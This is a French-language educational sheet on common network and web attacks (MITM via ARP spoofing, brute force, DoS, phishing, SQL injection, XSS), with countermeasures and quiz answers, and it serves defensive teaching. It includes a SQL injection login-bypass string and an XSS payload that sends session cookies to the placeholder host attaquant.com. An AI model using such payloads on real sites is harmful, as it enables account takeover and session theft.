Comprendre les principales attaques réseau et système : MITM, bruteforce, déni de service, phishing et injection SQL.
Connaître les protocoles réseau (TCP/IP, ARP, HTTP). Notions sur les services web. Cette fiche est théorique — à des fins de compréhension et de défense uniquement.
| Catégorie | Description | Exemples |
|---|---|---|
| Attaque passive | Écoute sans modifier — difficile à détecter | Sniffing réseau, écoute WiFi |
| Attaque active | Modification ou injection — laisse des traces | MITM, bruteforce, injection SQL |
| Attaque interne | Depuis l'intérieur du réseau (employé malveillant) | Vol de données, pivot |
| Attaque externe | Depuis Internet ou un réseau non fiable | Scan de ports, exploitation de services |
| Attaque ciblée | Vise une organisation spécifique | APT (Advanced Persistent Threat) |
| Attaque opportuniste | Exploite des vulnérabilités connues au hasard | Ransomware, botnet |
L'attaque MITM consiste pour un attaquant à se positionner entre deux parties qui communiquent, sans qu'elles s'en aperçoivent. Il peut lire, modifier ou injecter des données dans les échanges.
Principe : 1. L'attaquant envoie de faux paquets ARP sur le réseau local 2. Il se fait passer pour la passerelle auprès des victimes (Victim : 192.168.1.1 est à MA-MAC) 3. Il se fait passer pour les victimes auprès de la passerelle 4. Tout le trafic passe par sa machine → interception Contre-mesures : - ARP statique sur les machines critiques - DAI (Dynamic ARP Inspection) sur les switches managés - Chiffrement (HTTPS, SSH) — même intercepté, le trafic reste illisible - Détection : Wireshark (arp.duplicate-address-detected)
| Type | Description | Cibles typiques |
|---|---|---|
| Bruteforce pur | Tester toutes les combinaisons possibles | PIN 4 chiffres, hash MD5 court |
| Dictionnaire | Tester des mots de passe courants depuis une liste | SSH, FTP, services web |
| Credential stuffing | Réutiliser des identifiants volés sur d'autres services | Comptes web, VPN |
| Rainbow table | Tables précalculées de hashs — accélérer le cassage de hash | Hash de mots de passe volés |
Protection contre le bruteforce : ✅ Fail2ban (bloquer automatiquement les IPs après N échecs) ✅ Changer les ports par défaut (SSH sur 2222 au lieu de 22) ✅ Authentification par clé SSH uniquement (désactiver les mots de passe) ✅ MFA (Multi-Factor Authentication) — même si le mot de passe est trouvé ✅ Mots de passe longs et complexes (> 16 caractères) ✅ Rate limiting sur les API et formulaires de login
| Type | Technique | Protection |
|---|---|---|
| SYN Flood | Envoyer des milliers de SYN sans compléter le handshake — épuise la table de connexions | SYN cookies, rate limiting |
| UDP Flood | Saturer la bande passante avec des paquets UDP | Pare-feu, filtrage upstream |
| Amplification DNS | Utiliser des serveurs DNS ouverts pour amplifier le trafic vers la cible | Désactiver les serveurs DNS ouverts |
| HTTP Flood | Envoyer des milliers de requêtes HTTP légitimes | WAF, CDN, rate limiting |
| DDoS | Attaque distribuée depuis des milliers de machines (botnet) | CDN, anti-DDoS upstream (OVH, Cloudflare) |
Le phishing consiste à piéger un utilisateur via un email ou un site frauduleux imitant un service légitime, pour voler ses identifiants ou données personnelles.
| Indicateur de phishing | Vérification |
|---|---|
| URL suspecte | Vérifier le domaine exact (micr0soft.com ≠ microsoft.com) |
| Urgence artificielle | Les vraies entreprises n'exigent pas de cliquer immédiatement |
| Expéditeur douteux | Vérifier l'adresse email complète (pas seulement le nom affiché) |
| Fautes d'orthographe | Les grands services soignent leur communication |
| Pièce jointe inattendue | Ne jamais ouvrir une PJ non sollicitée |
Principe : injecter du code SQL dans un champ de saisie non protégé Formulaire de login : Login : admin Password : ' OR '1'='1 Requête résultante : SELECT * FROM users WHERE login='admin' AND password='' OR '1'='1' → Retourne tous les utilisateurs → connexion réussie sans mot de passe ! Protection : ✅ Requêtes préparées (paramétrisées) — JAMAIS concaténer du SQL ✅ ORM (Doctrine, SQLAlchemy, Eloquent) ✅ Principe du moindre privilège sur le compte BDD ✅ WAF (Web Application Firewall)
Principe : injecter du JavaScript malveillant dans une page web pour qu'il s'exécute dans le navigateur d'autres utilisateurs Exemple : dans un champ commentaire : <script>document.location='https://attaquant.com/steal?c='+document.cookie</script> Si le site n'échappe pas le HTML → le cookie de session est volé Protection : ✅ Échapper tous les sorties HTML (htmlspecialchars en PHP) ✅ Content-Security-Policy (CSP) dans les en-têtes HTTP ✅ HttpOnly et Secure sur les cookies
✅ Réponse : Un attaquant qui s'interpose entre deux parties communicantes pour intercepter/modifier les échanges
✅ Réponse : ARP
✅ Réponse : Fail2ban
✅ Réponse : Utiliser des requêtes préparées (paramétrisées)
✅ Réponse : Protège contre les attaques SYN flood via les SYN cookies